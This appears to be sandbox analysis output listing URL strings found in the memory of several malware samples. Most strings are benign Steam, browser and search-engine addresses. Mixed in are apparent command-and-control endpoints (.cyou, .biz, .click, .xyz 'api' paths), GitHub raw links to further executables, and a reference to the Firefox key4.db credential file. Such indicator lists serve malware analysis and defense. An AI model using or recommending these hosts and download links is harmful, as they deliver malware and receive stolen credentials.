Source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	String found in binary or memory: http://specs.openid.net/extensions/oauth/1.0
Source: 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/pape/1.0
Source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0/icon
Source: 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0fhttp://specs.openid.net/extensions/ui/1.0/lang-prefhhttp:/
Source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	String found in binary or memory: http://specs.openid.net/extensions/ui/1.0hhttp://specs.openid.net/extensions/ui/1.0/mode/popupfhttp:
Source: 915c60055b.exe, 00000007.00000002.2843797316.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe, 00000007.00000002.2843797316.0000000002F62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://specs.openid.net/extensions/ui/icon
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: powershell.exe, 00000013.00000002.3247505840.0000000004365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.idmanagement.gov/schema/2009/05/icam/no-pii.pdf
Source: 915c60055b.exe, 00000007.00000000.2824569692.0000000000852000.00000002.00000001.01000000.00000009.sdmp, 915c60055b.exe, 00000007.00000002.2844514378.0000000003E89000.00000004.00000800.00020000.00000000.sdmp, 915c60055b.exe.6.dr	String found in binary or memory: http://www.idmanagement.gov/schema/2009/05/icam/openid-trust-level1.pdfthttp://www.idmanagement.gov/
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: e0c841723d.exe, 0000000D.00000003.3258362311.0000000003BAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: e0c841723d.exe, 0000000D.00000003.3258362311.0000000003BAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: e0c841723d.exe, 0000000D.00000003.3206773675.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206334111.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206524837.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000010.00000002.3207165275.0000000005221000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3247505840.0000000004211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://awake-weaves.cyou/api
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://awake-weaves.cyou/apiEO
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://awake-weaves.cyou/apiZ
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://awake-weaves.cyou:443/api
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3145200200.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bellflamre.click:443/api7
Source: e0c841723d.exe, 0000000D.00000003.3284101199.0000000003B73000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3284142361.0000000003B79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: e0c841723d.exe, 0000000D.00000003.3284101199.0000000003B73000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3284142361.0000000003B79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: e0c841723d.exe, 0000000D.00000003.3206773675.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206334111.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206524837.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: e0c841723d.exe, 0000000D.00000003.3206773675.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206334111.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206524837.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: e0c841723d.exe, 0000000D.00000003.3206773675.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206334111.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206524837.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/fatalerror.css?v=OFUqlcDNiD6y&l=engli
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=Q6Qn
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: e0c841723d.exe, 0000000D.00000003.3284101199.0000000003B73000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3284142361.0000000003B79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: e0c841723d.exe, 0000000D.00000003.3284101199.0000000003B73000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3284142361.0000000003B79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: powershell.exe, 00000010.00000002.3214735139.0000000006285000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000010.00000002.3214735139.0000000006285000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000010.00000002.3214735139.0000000006285000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: cf4412d54a.exe, 00000009.00000002.3284901134.0000000000CED000.00000040.00000001.01000000.0000000C.sdmp, cf4412d54a.exe, 00000009.00000003.2964340914.00000000077D6000.00000004.00001000.00020000.00000000.sdmp, 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: f3c1a61157.exe, 0000000C.00000003.3145070089.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz/
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz/api
Source: f3c1a61157.exe, 0000000C.00000003.3145070089.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz/z
Source: f3c1a61157.exe, 0000000C.00000003.3145200200.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deafeninggeh.biz:443/api
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://debonairnukk.xyz/api7
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://debonairnukk.xyz:443/api
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://diffuculttan.xyz/api
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://diffuculttan.xyz/apiho
Source: e0c841723d.exe.6.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: e0c841723d.exe, 0000000D.00000003.3206773675.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206334111.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206524837.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: e0c841723d.exe, 0000000D.00000003.3206773675.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206334111.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206524837.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: e0c841723d.exe, 0000000D.00000003.3206773675.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206334111.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, e0c841723d.exe, 0000000D.00000003.3206524837.0000000003BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://effecterectz.xyz:443/apiZ
Source: powershell.exe, 00000013.00000002.3247505840.0000000004365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: skotes.exe, 00000006.00000002.3289661143.0000000001048000.00000004.00000020.00020000.00000000.sdmp, 0cf121b643.exe, 0000000E.00000002.3290091056.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, 0cf121b643.exe, 0000000E.00000000.3145571521.00000000009A2000.00000002.00000001.01000000.0000000F.sdmp, 0cf121b643.exe.6.dr, random[2].exe.6.dr	String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe
Source: 0cf121b643.exe, 0000000E.00000002.3290091056.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, 0cf121b643.exe, 0000000E.00000000.3145571521.00000000009A2000.00000002.00000001.01000000.0000000F.sdmp, 0cf121b643.exe.6.dr, random[2].exe.6.dr	String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe
Source: skotes.exe, 00000006.00000002.3289661143.0000000001048000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com?R_
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: cf4412d54a.exe, 00000009.00000002.3284901134.0000000000CED000.00000040.00000001.01000000.0000000C.sdmp, cf4412d54a.exe, 00000009.00000003.2964340914.00000000077D6000.00000004.00001000.00020000.00000000.sdmp, 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: cf4412d54a.exe, 00000009.00000002.3284901134.0000000000CED000.00000040.00000001.01000000.0000000C.sdmp, cf4412d54a.exe, 00000009.00000003.2964340914.00000000077D6000.00000004.00001000.00020000.00000000.sdmp, 631c5638f7.exe, 00000015.00000003.3277800685.00000000070B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3145200200.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://immureprech.biz/api
Source: f3c1a61157.exe, 0000000C.00000003.3145200200.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://immureprech.biz/~
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014E1000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3145200200.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://immureprech.biz:443/api
Source: e0c841723d.exe, 0000000D.00000003.3284142361.0000000003B79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: 915c60055b.exe, 00000008.00000002.3039953268.00000000012AB000.00000004.00000020.00020000.00000000.sdmp, 915c60055b.exe, 00000008.00000002.3039886688.000000000129D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/
Source: 915c60055b.exe, 00000008.00000002.3039886688.000000000129D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/api
Source: 915c60055b.exe, 00000008.00000002.3039038639.000000000122A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click/apiBV
Source: 915c60055b.exe, 00000008.00000002.3039038639.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click:443/apiMicrosoft
Source: 915c60055b.exe, 00000008.00000002.3039038639.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click:443/apihv.default-release/key4.dbPK
Source: 915c60055b.exe, 00000008.00000002.3039038639.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lossekniyyt.click:443/apitPK
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: powershell.exe, 00000010.00000002.3214735139.0000000006285000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sordid-snaked.cyou/
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sordid-snaked.cyou/api
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001517000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sordid-snaked.cyou/api&OFj
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sordid-snaked.cyou:443/api
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.000000000155A000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000002.3184689437.0000000001568000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: f3c1a61157.exe, 0000000C.00000002.3184689437.00000000014CC000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156F000.00000004.00000020.00020000.00000000.sdmp, f3c1a61157.exe, 0000000C.00000003.3183784755.000000000156A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com
